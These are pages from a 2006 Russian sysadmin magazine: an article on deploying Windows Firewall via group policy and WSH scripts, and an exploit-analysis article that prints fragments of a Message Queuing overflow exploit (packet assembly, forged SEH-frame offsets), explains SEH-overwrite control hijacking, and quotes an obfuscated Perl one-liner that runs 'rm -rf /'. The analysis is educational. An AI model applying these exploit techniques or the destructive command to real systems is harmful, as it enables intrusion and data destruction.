зуется для защиты всех сетевых соеди-нений, однако для того чтобы гаранти-ровать запуск службы Firewall на маши-не пользователя, пропишем его в груп-повой политике. Предварительно необ-ходимо все пользовательские машины, на которых предполагается включить firewall, поместить в отдельную органи-зационную единицу (Organization Unit). Категорически не рекомендуется приме-нять политики, о которых речь пойдет да-лее, ко всему домену, так как тогда они применются и к серверам, вследствие чего могут быть закрыты порты, необ-ходимые для нормального функциони-рования клиент-серверных приложений. Итак, необходимая организационная единица создана, и пользовательские машины туда помещены. Теперь на кон-троллере домена откройте оснастку Active Directory Users And Computers, да-лее «Computer Management → Windows Settings → Security Settings → System Services → Windows Firewall». Включаем использование этого сервиса (Enable) и метод запуска автоматический (Startup Automatic) (см. рис. 1).


Сейчас локальная сеть любой, даже совсем небольшой организации, защищена от внешних угроз. Настолько ли хорошо защищены ресурсы внутренней сети?

Андрей Бирюков

55№8, август 2006


Теперь в вашей сети на всех пользовательских маши-нах запущен сервис Windows Firewall. Следующим шагом укажите приложения и порты, к которым вы хотите разре-шить доступ снаружи. К сожалению, версия персонального межсетевого экрана, входящая в состав Windows XP 2003, не позволяет блокировать исходящие соединения, только входящие, поэтому будет открываться доступ только сна-ружи внутрь.

Что и кому открыватьТак как правила межсетевого экрана работают по принципу «запрещено всё, что не разрешено», то прежде чем вклю-чить firewall, вам необходимо определиться с тем, какие порты должны быть открыты на клиентской машине. По возможности постарайтесь минимизировать это количес-тво, так как чем меньше открытых портов, тем меньше по-тенциальных уязвимостей в защите системы.

В качестве примера буду открывать порты для корпо-ративного антивируса, удаленного управления и видео-конференций, а также явным образом буду блокировать доступ к порту, используемому сетевыми играми. Также доступ к каждому из портов должен быть разрешен толь-ко с определенных узлов или подсетей. Вот что нужно от-крыть (см. таблицу).

Небольшое пояснение к предъявляемым требовани-ям: в первой строке я разрешаю доступ по порту 10001 всем хостам, находящимся в подсети 172.29.0.0 с маской 255.255.255.0, во второй – к порту 3999 только двум хос-там 172.29.0.2, 172.29.0.20, в третьей всем пользователям явным образом запрещено устанавливать соединение по порту, который используют сетевые игры, и наконец в чет-вертой строке все пользователи локальной подсети могут отправлять UDP-пакеты на порт 999.

Отдельно скажу про ICMP. Администратор должен иметь возможность пропинговать любой узел в своей сети, но при этом не следует разрешать любые операции с этим прото-колом, так как существуют виды атак, позволяющие с по-мощью атак вида Denial Of Service осуществить отказ в об-служивании системы. Таким образом, подводя итог всему изложенному в данном абзаце, будет разрешаться только отклик на входящий эхо-запрос.

Открываем портыОпределившись с тем, какие порты и кому вы хотите от-крыть, пропишите все эти правила в групповых политиках Active Directory. Для этого откройте ту же групповую полити-ку, которую вы использовали для запуска сервиса Firewall, затем раздел «Computer Management → Administrative Templates → Network → Network Connections → Windows Firewall». Далее есть два профиля Domain и Standard. Про-филь Domain применяется, когда машина подключена к Active Directory, обычно Domain Profile используется для ра-бочих станций пользователей. Профиль Standard приме-няется, когда машина не подключена к Active Directory, как правило Standard Profile используется для ноутбуков и пор-тативных компьютеров. В нашем примере мы будем рас-сматривать Domain Profile.

Как видно из рис. 2, у межсетевого экрана имеется 14 свойств, которые мы и будем сейчас настраивать:

Protect All Network Connections – использовать ли межсетевой экран для всех соединений (LAN, Dial Up и др.).

Do not allow exceptions – не позволять исключения. В нашем случае необходимо выставить Disabled, так как исключения, то есть открытые порты, у нас есть.

Define program exceptions – определяет приложе-ния, обращение к которым разрешено извне. Не са-мый безопасный способ, лучше ограничивать по пор-там, чем по приложениям.

Allow local program exceptions – разрешать исключе-ния для приложений.

Allow remote administration exception – разрешать уда-ленное администрирование средствами Windows.

Allow file and printer sharing exception – разрешать до-ступ к файловым ресурсам и принтерам, подключенным к данной машине.

Allow ICMP exceptions – разрешать исключения для протокола ICMP. В соответствии с тем, что было сказано ранее про ICMP, мы разрешим только Inbound echo request (см. рис. 3).

Allow Remote Desktop exception – разрешать установ-ку соединения по протоколу RDP.

Рисунок 1. Список сервисов, запускаемых в GPO

Порт Протокол Источник Действие Описание

10001 TCP 172.29.0.0/24 Enable Antivirus

3999 TCP 172.29.0.2, 172.29.0.200 Enable Remote Admin

666 TCP * Disable No Games

999 UDP Localsubnet Enable Stream Video

Правила, которые необходимо настроить на межсетевом экране

Рисунок 2. Свойства межсетевого экрана

56


Allow UPnP exception – позволять исключения для universal Plug and Play (технология, позволяющая раз-личным интеллектуальным устройствам устаналивать соединения интернет-технологий).

Prohibit notifications – запрещать уведомления поль-зователя.

Allow logging – разрешать журналирование. При этом вы можете сохранять информацию об отклоненных пакетах и об успешных соединениях. Как правило имеет смысл вести журналирование только отброшенных пакетов, в случае учета всех соединений лог становится практи-чески нечитаемым из-за своего большого размера.

Prohibit unicast response to multicast or broadcast – за-прещать отправку пакетов в ответ на широковещатель-ные запросы.

Define port exceptions – определяем порты, которые бу-дут открыты на межсетевом экране.

Allow local port exceptions – разрешить локальные ис-ключения для портов.

Итак, укажите те порты, которые хотите открыть на всех пользовательских машинах в организационной единице.

Открыв свойства «Define Port Exceptions», выбирае-те «Enabled», затем «Define port exceptions: Show…». В от-крывшемся окне вам необходимо определить список пор-тов в соответствии со следующим форматом.

Таким образом, после выполнения этих действий вы по-лучите список портов, которые необходимо открыть либо явным образом закрыть (рис. 4).

Вот собственно и все, что нужно сделать для того, что-бы развернуть на машинах в локальной сети под управле-нием Active Directory межсетевой экран и открыть необхо-димые порты.

Для тех, кто вне домена…Что же делать, если у вас имеются машины, не входящие в домен, например, сеть филиала или ноутбуки сотрудни-ков, находящихся в командировке. В такой ситуации можно прибегнуть к помощи сценариев Windows Script Host. Этот

сценарий можно отправить по электронной почте, снаб-див получателя соответствующими инструкциями по его запуску. Кстати, сценарий, открывающий порты на межсе-тевом экране, может быть также полезен при развертыва-нии приложений, которым для работы необходимы откры-тые порты на firewall.

При работе с Windows Firewall через сценарии WSH об-ратите внимание на то, что этот объект не является WMI-классом, а СОМ-объектом из библиотеки HNetCfg (Home Networking Configuration), которая в свою очередь обеспе-чивает большинство функций межсетевого экрана.

Для обращения к библиотеке HNetCfg в нашем сцена-рии обязательно должна присутствовать строка:

Эта библиотека содержит ряд объектов: LocalPolicy – этот объект определяет, использовать ли

локальную политику межсетевого экрана (в оснастке Group Policy она называлась Standard) или же домен-ную политику (Domain).

Profile – объекты управляют профилем Windows Firewall и включают следующие свойства: AuthorizedApplications – набор авторизованных

приложений, к которым разрешено обращение сна-ружи. Этот список использует объект Profile.

CurrentProfile – свойство задает текущий профиль межсетевого экрана. Для установки этого значе-ния используйте команду NetCfg.FwMgr.LocalPolicy.CurrentProfile.

CurrentProfileType –устанавливает тип профиля, ко-торый использует Windows Firewall. Может иметь зна-чения: 0 (ноль), если используемый профиль являет-ся доменным, или 1, если это стандартный профиль.

ExceptionsNotAllowed – свойство указывает, раз-решать ли использование исключений в Windows Firewall, может иметь значения TRUE или FALSE. Это необходимый элемент для любого профиля.

FirewallEnable – данное свойство определяет, дол-жен ли быть включен межсетевой экран на машине, возможные значения TRUE или FALSE. Это свойс-тво доступно через объект Profile.

Рисунок 3. Исключения для протокола ICMP Рисунок 4. Определяем список портов

<порт>:<протокол>:<источник>:<действие>:<описание>

Set objFirewall = CreateObject("HNetCfg.FwMgr")

57№8, август 2006


GetProfileByType – позволяет получить тип профи-ля (Domain или Standard). Например, вызов HNetCfg.FwMgr.GetProfileByType для сценария, используемо-го в данной статье вернет 0 (Domain). Может исполь-зоваться только для объекта CurrentProfile.

GloballyOpenPorts – это список открытых портов для данного профиля. Данное свойство доступно через объект профиля.

IcmpSettings – свойство доступно только для чтения и определяет настройки по протоколу ICMP. Также доступно через свойства профиля.

NotificationsDisabled – определяет, отправлять ли пользователю уведомления, возможные значения TRUE или FALSE. Доступно через свойства профиля.

RemoteAdminSettings – разрешать или запрещать удаленное управление системой. Доступно через свойства профиля.

Services – набор служб (Services), содержащихся в профиле. Также доступно через свойства про-филя.

Type – показывает тип профиля, доменный или стан-дартный (0 для доменного и 1 для стандартного). До-ступно через свойства профиля.

Определившись с объектами, которые вы можете ис-пользовать при написании WSH-сценария, попробуйте от-крыть нужные порты на пользовательской машине. От-мечу, что сценарий использует тот же набор параметров, что и групповая политика Active Directory, с одной лишь раз-ницей, что здесь есть возможность динамически задавать и изменять политику межсетевого экрана. Развернуть сце-нарий на удаленной машине можно, к примеру, отправив данный файл прикрепленным к письму или с помощью FTP. В любом случае вмешательство пользователя для установ-ки сценария будет минимальным.

По аналогии для остальных портов вы сможете напи-сать подобный сценарий. В приведенном примере указа-ние версии протокола IP является необязательным, так как по умолчанию используется IP v4. Как видно из приме-ра, сначала открывается порт, затем прописываются необ-ходимые параметры, такие как вид транспортного прото-кола, подсеть, которой разрешен доступ и наименование. И в завершении все данные по новому порту добавляются в список уже открытых портов.

В продолжении темы приведу пример сценария, кото-рый разрешает доступ по сети к указанному приложению, то есть авторизовывает приложение. Как уже упомина-лось выше, этот способ является не слишком безопасным, так как приложение может использовать различные пор-ты, но иногда он более удобен, чем явное открытие пор-тов. В следующем примере откроем доступ для приложе-ния, находящегося по адресу c:\myapp.exe для всех узлов по протоколу IP версии 4.

Иногда возникает необходимость в получении списка всех открытых портов, а также их свойств:

Эта информация вам пригодится, когда вы будете изу-чать состояния текущих правил межсетевого экрана и оп-ределять, какие порты необходимо открыть или закрыть.

Завершая тему персональных межсетевых экранов, отмечу, что по утверждениям представителей корпора-ции Microsoft, в следующей версии операционной систе-мы Windows межсетевой экран будет двусторонним, то есть можно открывать/закрывать как входящие, так и исходя-щие соединения. Что ж, посмотрим, но думаю, подобное нововведение окажется весьма полезным, так как поз-волит еще больше защитить рабочие станции и пользо-вателей.

Поживем – увидим.

1. Don Jones, Jeffery Hicks Advanced VBScript for Microsoft Windows Administrators.

2. Windows Server 2003. Справочник администратора.

Листинг 1. Сценарий для открытия нового порта

' объявляется объект HNetCfgSet objFirewall = CreateObject("HNetCfg.FwMgr")' используется текущий профильSet objPolicy = objFirewall.LocalPolicy.CurrentProfile' создается новый открытый портSet objPort = CreateObject("HNetCfg.FwOpenPort")objPort.Port = 10001 ' номер портаobjPort.Name= "Antivirus" ' наименованиеobjPort.IPVersion=4 ' версия IPobjPort.Protocol= "TCP" ' вид протокоа ' с каких адресов разрешен доступobjPort.RemoteAddresses="172.29.0.0/24"objPort.Enabled = TRUE ' доступ разрешен' используется список уже открытых портовSet colPorts = objPolicy.GloballyOpenPorts' добавляется новый порт в список уже открытых портовerrReturn = colPorts.Add(objPort)

Листинг 2. Сценарий для авторизации приложения

' объявляем объектSet objFirewall = CreateObject("HNetCfg.FwMgr")' используем текущий профильSet objPolicy = objFirewall.LocalPolicy.CurrentProfile

' объявляем объектSet objApplication = ↵ CreateObject("HNetCfg.FwAuthorizedApplication")objApplication.Name = "Corp App" ' указываем имяobjApplication.IPVersion = 4 ' версия IP' путь к приложениюobjApplication.ProcessImageFileName = "c:\myappl.exe"' с каких адресов разрешен доступobjApplication.RemoteAddresses = "*"objApplication.Enabled = True

' авторизуем приложениеSet colApplications = objPolicy.AuthorizedApplications' и добавляем его в список авторизованных приложенийcolApplications.Add(objApplication)

Листинг 3. Сценарий, выводящий список всех открытых портов

Set objFirewall = CreateObject("HNetCfg.FwMgr")Set objPolicy = objFirewall.LocalPolicy.CurrentProfile

Set colPorts = objPolicy.GloballyOpenPorts

For Each objPort in colPorts Wscript.Echo "Port name: " & objPort.Name Wscript.Echo "Port number: " & objPort.Port Wscript.Echo "Port IP version: " & objPort.IPVersion Wscript.Echo "Port protocol: " & objPort.Protocol Wscript.Echo "Port scope: " & objPort.Scope Wscript.Echo "Port remote addresses: ↵ " & objPort.RemoteAddresses Wscript.Echo "Port enabled: " & objPort.Enabled Wscript.Echo "Port built-in: " & objPort.BuiltinNext

58


Сообщения о дырах появляются постоянно. Стоит только загля-нуть на www.securityfocus.com

и… ужаснуться. Каждый день прино-сит по 10-20 новых дыр, затрагива-

ющих практически весь спектр ап-паратно-программного обеспечения. Вы до сих пор пользуетесь FireFox, счи-тая его безопасным? Да как бы не так! За свое недолгое время существова-

ния он успел обрасти полусотней дыр, в том числе и критических. Ладно, ос-тавим FireFox в покое и возьмем бра-зузер Opera – почти два десятка оши-бок (из которых 17 зарегистрировано


Крис Касперски

Эксплоиты, демонстрирующие наличие дыры (proof-of-concept), обычно распространяются в исходных текстах, но основной функционал заключен в shell-коде, анализ которого представляет весьма нетривиальную задачу, требующую инженерного склада ума, развитой интуиции, обширных знаний и… знания специальных приемов дизассемблирования.

59№8, август 2006


на одном лишь www.securityfocus.com) быстро прочищают мозги от реклам-ной шелухи, позиционирующей Opera не только как самый быстрый, но и по-настоящему безопасный браузер. Уязвимости встречаются даже в тек-стовых браузуерах наподобие Lynx. Про Internet Explorer лучше вообще не вспоминать! Стоит ли после этого удивляться, что черви размножают-ся со скоростью лесного пожара и ре-гулярно кладут целые сегменты Сети, если не весь Интернет!

Программное обеспечение нена-дежно. Предоставленное самому се-бе, без ухода и надзора администра-тора оно быстро становится жертвой хакерских атак, превращаясь в рас-садник вирусов и червей. Если уязви-мость затрагивает те компоненты сис-темы, без которых можно и обойтись (например, Message Queuing или RPC DCOM), их можно отключить или огра-дить брандмауэром. В противном слу-чае, необходимо установить заплатку от «родного» производителя или сто-ронних поставщиков. Проблема в том, что официальные обновления зачас-тую выпускаются лишь через несколь-ко месяцев после официального же признания дыры. А сколько дыр так и остаются «непризнанными»?

Производителей программного обеспечения можно понять: ведь пре-жде, чем признавать дыру дырой, не-обходимо убедиться, что это именно дыра, а вовсе не «авторское видение функциональности» и добиться устой-чивого воспроизведения сбоя. У мно-гих компаний существует политика замалчивания дыр и уязвимость либо молча устраняется с выходом очеред-ной версии продукта (кумулятивного пакета обновления), либо не исправ-ляется вообще! Яркий пример тому – уязвимость «MS IE (mshtml.dll) OBJECT tag vulnerability», обнаруженная 23 ап-реля 2006 (см. /pipermail/full-disclosure/2006-April /045422.html), и все еще не признанная Microsoft.

Чтобы администратор мог спать спокойно и не дергаться каждые пять минут, пытаясь обнаружить в логах брандмауэра «что-то необычное», пер-вым делом необходимо выяснить – действительно ли вверенная ему сис-тема уязвима? Далеко не всем сооб-щениям о дырах можно верить. По об-щепринятой практике, первооткрыва-

поражаемых систем заметно возрас-тет (тем более что большинство экс-плоитов закладывается на фиксиро-ванные адреса, варьирующие от вер-сии к версии, поэтому эксплоит, раз-работанный для английской версии Windows 2000, может не работать в русской и наоборот).

Эксплоиты обычно запускают для удовлетворения чувства собствен-ного любопытства. Никакой жизненной необходимости в этом нет. Просто ин-тересно и ничего более. Но изучить код эксплоита, чтобы знать, что вы вообще запускаете, попутно устраняя ошиб-ки, допущенные его разработчиками и адоптируя shell-код к своей систе-ме, корректируя фиксированные адре-са при необходимости, никогда не по-мешает.

Как препарируют эксплоитыОсновной код эксплоита, как правило, пишется на переносимых высокоуров-невых языках, таких как Си/Си++, Perl, Python. Экзотика типа Ruby встречает-ся намного реже, но все-таки встреча-ется. В практическом плане это озна-чает, что исследователь должен вла-деть десятком популярных языков хо-тя бы на уровне беглого чтения лис-тингов. Впрочем, в девяти из деся-ти случаев, ничего интересного в них не встречается, и весь боевой заряд концентрируется в «магических» стро-ковых массивах, оформленных в сти-ле «\x55\x89\xE5…\xC7\x45\xFC». Вот это и есть shell-код в ASCII-представ-лении. Высокоуровневый код – всего

тель дыры должен подтвердить свои слова программой, демонстрирую-щей наличие уязвимости, но не совер-шающей ничего деструктивного. В за-рубежной литературе она называется exploit proof-of-concept.

Часто к эксплоиту прилагается пе-речень тестируемых (tested) и уязви-мых (affected) платформ и все, что не-обходимо сделать, – это запустить эксплоит на своей системе и посмот-реть, справится ли он с ней или нет. Естественно, атаковать «живой» сер-вер или основную рабочую станцию может только самоубийца (или очень безответственный человек) и все по-тенциально опасные эксперименты следует выполнять на «копии» сер-вера/рабочей станции, специально предназначенной для тестовых це-лей. Под VMWare и другими эмулято-рами подобного типа эксплоиты луч-ше не запускать. Во-первых, ряд вре-доносных эксплоитов распознает на-личие виртуальных машин и отказы-вается работать. Во-вторых, вырвать-ся из застенок виртуальной маши-ны вполне реально (см. статью «По-бег из-под VMWare», которую мож-но скачать с ftp://nezumi.org.ru/pub/vm-escape.zip).

Отрицательный результат сам по себе еще ничего не доказывает. Даже если атака не удалась, у нас нет никаких оснований считать, что сис-тема находится в безопасности. И это не паранойя, а реальный факт, с кото-рым следует считаться. Возможно, это просто эксплоит такой кривой, но сто-ит его слегка подправить, как список

Рисунок 1. Устройство пакета-убийцы, передаваемого на атакуемый сервер

60


лишь обертка, образно говоря, тетива или пусковая уста-новка, а shell-код – разящее острие.

Многие исследователи допускают роковую ошибку: анализируя shell-код, они забывают о том, что основной код также может содержать вредоносные инструкции на-подобие «rm -rf /». При знании языка пакости подобного типа обнаруживаются без труда, если, конечно, злоумыш-ленник не стремился воспрепятствовать анализу. Сущест-вует масса способов замаскировать вредоносный код в бе-зобидные конструкции. Взять хотя бы строку «'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'», раз-ворачиваемую языком Perl в команду «rm -rf /», которая при запуске из-под root уничтожает все содержимое дис-ка целиком.

Отсюда вывод: никогда не запускайте на выполнение код, смысла которого до конца не понимаете и уж тем более не давайте ему администраторских полномочий! Не под-давайтесь на провокацию! Даже на авторитетных сайтах проскакивают эксплоиты, созданные с одной-единствен-ной целью – отомстить, если не всему человечеству, то хо-тя бы его части. Помните, что самая большая дыра в сис-теме – это человек, знающий пароль root (администрато-ра) и запускающий на рабочей маши-не все без разбора!

Больше на анализе базового ко-да мы останавливаться не будем (ес-ли вы знаете язык – это тривиально, если нет – не надейтесь, что автору удалось уложить многостраничные руководства в скромные рамки жур-нальной статьи).

Анализ message queuing эксплоитаОдного лишь знания ассемблера и API-операционной системы для ис-следования shell-кода будет явно не-достаточно. Здесь все сложнее и… интереснее. Продемонстрируем тех-нику дизассемблирования shell-кода (со всеми сопутствующими ей при-емами и трюками) на примере анали-за «Message Queuing Buffer Overflow Vulnerability Universal» eэксплои-та (http://milw0rm.com/exploits/1075),

прилагаемого к статье в файле 1075 (см. сайт www.samag.ru, раздел «Ис-ходный код»). Базовый код, напи-санный на языке Си, рассматривать не будем, а сразу перейдем к shell.

Самое сложное – это опреде-лить точку входа в shell-код, то есть ту точку, которой будет передано уп-равление при переполнении. В дан-ном случае нам повезло, и создатель эксплоита структурировал листинг, разбив двоичные данные на шесть массивов, первые четыре из кото-рых (dce_rpc_header1, tag_private,

dce_rpc_header2 и dce_rpc_header3) представляют собой заголовки RPC-пакетов, в которых для нас нет ничего ин-тересного.

А вот массив offsets включает в себя ключевые струк-туры данных, передающие управление на shell-код. Спо-соб передачи основан на подмене SEH-фреймов по усо-вершенствованной методике, обходящей защиту от пе-реполнения, появившуюся в Windows 2000, Windows XP и Server 2003. И хотя это не отражено в комментариях яв-ным образом (создатели shell-кодов традиционно неразго-ворчивы), опытные кодокопатели распознают подложные фреймы с первого взгляда (тем более что кое-какие ком-ментарии там все-таки присутствуют, но даже если бы их и не было, это не сильно бы затруднило анализ).

Основная часть shell-кода (расположенная в массиве bind_shellcode) системно независима (ну, почти), а все фик-сированные адреса вынесены в массив offsets, который при тестировании под различными версиями операционных сис-тем имеет наглость требовать «ручной» коррекции. Даже при наличии не залатанной дыры эксплоит может не рабо-тать только потому, что по фиксированным адресам распо-ложено не то, что ожидалось. Но прежде, чем приступать

Листинг 1. Фрагмент эксплоита, ответственный за сборку пакета-убийцы

// выделяем памятьbuff = (char *) malloc(4172); memset(buff, NOP, 4172); ptr = buff;

// RPC-заголовкиmemcpy(ptr,dce_rpc_header1,sizeof(dce_rpc_header1)-1);ptr+=sizeof(dce_rpc_header1)-1;memcpy(ptr, tag_private, sizeof(tag_private)-1);ptr+=sizeof(tag_private)-1;

memcpy(buff+1048, dce_rpc_header2, sizeof(dce_rpc_header2)-1);memcpy(buff+1048*2, dce_rpc_header2, sizeof(dce_rpc_header2)-1);memcpy(buff+1048*3, dce_rpc_header3, sizeof(dce_rpc_header3)-1);

// offsetsptr=buff;ptr+=438;memcpy(ptr, offsets, sizeof(offsets)-1);ptr += sizeof(offsets)-1;

// shellcodememcpy(ptr, bind_shellcode, sizeof(bind_shellcode)-1);

Листинг 2. Массив offsets хранит подложные SEH-фреймы для нескольких операционных систем, передающие управление на shell-код

unsigned char offsets[] =/* entry point (jmp over) */ ; // SEH-FRAME for Windows 2000"\xEB\x08\x90\x90" ; // ! *prev | jmp lab_0Ah !/* mqsvc.exe - pop reg; pop reg; retn; */ ; // !------------------------!"\xE9\x14\x40\x00" ; // ! *handler ! ; // !------------------------!

"\x90\x90\x90\x90\x90\x90\x90\x90" ; // подбор SEH-фрейма для w2k server

/* :LAB_0Ah *//* entry point (jmp over) */ ; // SEH-FRAME for W2K Server/AdvServer"\xEB\x08\x90\x90" ; // ! *prev | jmp lab_1Ah !/* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------- --------------!"\xE9\x14\x40\x00" ; // ! *handler ! ; // !--------------------------------!

"\x90\x90\xEB\x1A\x41\x40\x68\x6F\x75\x73" ; // подбор SEH-фрейма для XP"\x65\x6F\x66\x64\x61\x62\x75\x73\x48\x41" ; // «A@houseofdabusHA»

/* :LAB_1Ah *//* entry point (jmp over) */ ; // SEH-FRAME for Windows XP"\xEB\x06\x90\x90" ; // ! *prev | jmp lab_36h !/* mqsvc.exe - pop reg; pop reg; retn; */ ; // !----------------------!"\x4d\x12\x00\x01" ; // ! *handler !; // !----------------------!

"\x90\x90\x90\x90\x90\x90"; ; // не значащие NOP/* :LAB_36h */

=== отсюда начинается актуальный shell-код ===

61№8, август 2006


Допустим, никакого комментария у нас бы не было. И что тогда? Загружаем mqsvc.exe в hiew, двойным нажа-тием клавиши <ENTER> переходим в дизассемблерный ре-жим, нажимаем <F5> и вводим адрес «.4014E9» (точка ука-зывает, что это именно адрес, а не смещение).

Видим:

Естественно, данный способ не универсален и вообще говоря ненадежен, поскольку, в другой версии mqsvc.exe адрес «магической» последовательности наверняка будет иной, хотя в Windows 2000 Home, Windows 2000 Professional, Windows 2000 Server/AdvServer адреса совпадают, пос-кольку используется одна и та же версия mqsvc.exe, а вот в Windows XP адрес уже «уплывает».

Интуитивно мы чувствуем, что передача управления на shell-код осуществляется через RET, но остается не-понятным каким образом указатель на shell-код мог очу-титься в стеке, ведь никто туда его явно не засылал! За-пихать в переполняющийся буфер можно все, что угодно, но при этом придется указать точный адрес размещения shell-кода в памяти, а для этого необходимо знать значе-ние регистра ESP на момент атаки, а оно в общем случае неизвестно.

Структурные исключения позволяют элегантно решить эту задачу. Вместо того, чтобы затирать адрес возврата (как делало это целое поклонение кодокопателей), мы под-меняем оригинальный SEH-фрейм атакуемой программы своим. Теоретически, SEH-фреймы могут быть расположе-ны в любом месте, но практически все известные компи-ляторы размещают их в стеке, на вершине кадра, прина-длежащего данной функции, то есть по соседству с сохра-ненным EPB и RET:

к анализу массива offsets, необходимо определить его мес-тоположение в пакете-убийце, вызывающем переполнение. Приведенный фрагмент базового кода собирает все мас-сивы в непрерывный буфер, передаваемый на атакуемый сервер (см. листинг 1).

Вначале пакета (см. рис. 1) располагается RPC-заго-ловок dce_rpc_header1, за ним идет NetBIOS-имя атакуе-мого узла и тег private. На некотором отдалении от начала заголовка, по смещению 438 (1B6h) лежит массив offsets, сразу за концом которого идет shell-код. Далеко за ним об-наруживается еще один RPC-заголовок dce_rpc_header2 и dce_rpc_header3 (на рис. 1 не показан). Все остальное пространство пакета заполнено командами NOP (90h).

Процесс формирования пакета хорошо наблюдать под отладчиком (в данном случае использовался Microsoft Visual Studio Debugger) или перехватить уже готовый пакет, ис-пользуя sniffer.

Сразу же возникает вопрос – в каком именно месте воз-никает переполнение и каким именно образом происходит передача управления на shell-код? Запустив MSMQ-служ-бу под отладчиком, мы увидим, что массив offsets ложит-ся прямо поверх SEH-фрейма, подменяя его содержимое, а shell-код затирает адрес возврата из функции, заменяя RET произвольным адресом, указывающим в «космос», при обращении к которому возбуждается исключение и… уп-равление получает подложный SEH-фрейм, передающий управление на shell-код. Все просто! Главное – отладчик иметь! И… установленную службу Message Queuing, кото-рой в распоряжении кодокопателя может и не быть. К то-му же мы договорились, прежде чем запускать эксплоит (пусть даже под отладчиком!), сначала реконструировать его алгоритм.

А как мы его можем реконструировать? Хорошая голово-ломка для знатоков! Отбросив RPC-заголовки, мы остаем-ся только с массивом offsets и shell-кодом. Очевидно, сме-щение массива offsets выбрано не случайно и играет в пе-реполнении ведущую роль, поскольку bind_shellcode пред-ставляет собой вполне «стандартный» shell-код, встречаю-щийся во многих других эксплоитах и совпадающий с ним байт-в-байт.

Рассмотрим массив offsets поближе (см. листинг 2).В начале массива расположена довольно характерная

структура, состоящая из двух двойных слов, первое из ко-торых включает в себя двухбайтовую команду безусловного перехода JMP SHORT (опкод – EBh), дополненную до двой-ного слова парой NOP (впрочем, поскольку они все равно не исполняются, здесь может быть все, что угодно). Следу-ющее двойное слово указывает куда-то вглубь адресного пространства – 004014E9h и, судя по значению, принадле-жит прикладному приложению. В данном случае – програм-ме mqsvc.exe, реализующей службу Message Queuing. Ком-ментарий, заботливо оставленный создателем эксплоита, говорит, что по этому адресу он ожидает увидеть конструк-цию pop reg/pop reg/retn. Это классическая последователь-ность, используемая для передачи управления через под-ложные SEH-фреймы, подробно описанная в статье «Экс-плуатирование SEH в среде Win32» (http://www.securitylab.ru/contest/212085.php), написанной houseofdabus. Он же напи-сал и разбираемый нами эксплоит.

Листинг 3. Последовательность pop reg/pop reg/retn, содержащаяся в файле mqsvc.exe

; вытолкнуть одно двойное слово из стека.004014E9: 5F pop edi; вытолкнуть следующее двойное слово.004014EA: 5E pop esi; выткнуть адрес возврата и передать по нему управление.004014EB: C3 retn

Рисунок 2. Расположение SEH-фреймов относительно переполняющихся буферов

62


Отсюда: если мы можем затереть адрес возврата, подме-на SEH-фрейма не составит никаких проблем (см. рис. 2)!

Сама структура фреймов проста до безобразия:

Первое двойное слово указывает на предыдущий SEH-фрейм в цепочке (если текущий обработчик не знает, что делать с исключением, он отдает его предыдущему обра-ботчику; если ни один из обработчиков не может обрабо-тать исключение, операционная система выбрасывает зна-менитое сообщение о критической ошибке и завершает ра-боту приложения в аварийном режиме).

Следующее двойное слово содержит адрес процедуры обработчика исключений (не путать с функцией-фильтром исключений, которая обслуживаться не операционной сис-темой, а компилятором!). Очень заманчиво записать сю-да указатель на shell-код, но вся проблема в том, что этого указателя мы не знаем и в общем случае не можем узнать! На самом деле ситуация не так уж плачевна.

Рассмотрим процесс обработки исключений повнима-тельнее. В тот момент, когда прикладной код пытается сде-лать что-то недопустимое, процессор генерирует прерыва-ние. Операционная система перехватывает его и передает внутренней функции KiUserExceptionDispatcher, содержа-щейся внутри NTDLL.DLL. Та в свою очередь вызывает про-межуточную функцию RtlUnwind (все из той же NTDLL.DLL), передающую управление фильтру исключений, установлен-ным компилятором (в случае Microsoft Visual C++ эта фун-кция называется __except_handler3), которая и вызывает прикладной обработчик, зарегистрированный программис-том уязвимого приложения.

Получается следующая цепочка вызовов:

В Windows 2000 функция NTDLL.DLL!RtlUnwind остав-ляет немного «мусора» в регистрах, в результате чего

в EBX попадет адрес текущего SEH-фрейма. А это значит, что для достижения задуманной цели мы должны поверх handler поместить указатель на команду JMP EBX (FFh E3h) или CALL EBX (FFh D3h), которую можно найти как в самой атакуемой программе, так и в памяти операционной систе-мы (естественно, адрес будет «плавать» от версии к вер-сии, что есть неизбежное зло, но с этим надо смириться). Тогда при возникновении исключения управление будет передано на двойное слово, содержащее указатель prev. Да-да! Не по указателю prev, а именно на сам указатель, который следует заменить на JMP SHORT sellcode. Пос-кольку команды перехода в x86-процессорах относитель-ные, знать точное расположение shell-кода в памяти уже необязательно.

В Windows XP эта лазейка была прикрыта, но! Осталась функция-фильтр __except_handler3, входящая в состав RTL-компилятора, а потому никак не зависящая от операцион-ной системы. Рассмотрим окрестности дизассемблерного кода, передающего управление на зарегистрированный программистом обработчик.

Вот оно! Перед вызовом обработчика исключения, фун-кция временно сохраняет указатель на текущий SEH-фрейм в стеке (команда PUSH ESI), который на момент вызова об-работки будет расположен по смещению +8h. Причем ис-править это средствами операционной системы никак не-возможно! Необходимо переписать RTL каждого из компи-ляторов и перекомпилировать все программы!

Для реализации атаки достаточно заменить handler указателем на последовательность pop reg/pop reg/ret или add esp, 8/ret (которая достаточно часто встречается в эпи-логах функций), а поверх prev как и раньше записать jump на shell-код. Первая команда pop сталкивает с вершины стека уже ненужный адрес возврата, оставленный call, вто-рая – выбрасывает сохраненный регистр EBP, а ret переда-ет управление на текущий SEH-фрейм.

Теперь структура массива offsets становится более или менее понятна. Мы видим три подложных SEH-фрейма – по одному для каждой операционной системы, расположен-

Листинг 6. Последовательность вызова функций при обработке исключения

NTDLL.DLL!KiUserExceptionDispatcher → NTDLL.DLL!RtlUnwind → __except_handler3

Листинг 7. Фрагмент RTL-функции __except_handler3, сохраняющий указатель на текущий SEH-фрейм перед вызовом обработчика исключения

